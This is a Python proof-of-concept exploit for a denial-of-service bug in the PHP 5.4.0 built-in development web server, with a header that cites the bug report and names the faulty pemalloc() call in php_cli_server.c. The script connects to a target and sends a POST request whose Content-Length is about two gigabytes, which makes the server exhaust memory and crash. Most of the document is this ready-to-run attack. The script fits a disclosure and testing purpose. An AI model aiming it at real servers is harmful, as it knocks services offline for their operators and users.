#!/usr/bin/python # Title: PHP 5.4.0 Built-in Web Server DoS PoC # Date: 16 March 2012 # Author: ls (contact@kaankivilcim.com) # Reference: https://bugs.php.net/bug.php?id=61461 # Comments: Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV # The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c # on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate # the process with the error message "Out of memory". # # 1537 if (!client->request.content) { # 1538 client->request.content = pemalloc(parser->content_length, 1); # 1539 client->request.content_len = 0; # 1540 } # # PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012 # Listening on 127.0.0.1:80 # Document root is /tmp # Press Ctrl-C to quit. # Out of memory import socket, sys target = "127.0.0.1" port = 80; request = "POST / HTTP/1.1\n" request += "Content-Type: application/x-www-form-urlencoded\n" request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target request += "A=B\n\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target, port)) except: print "[-] Connection to %s:%s failed!" % (target, port) sys.exit(0) print "[+] Sending HTTP request. Check for crash on target." s.send(request) s.close()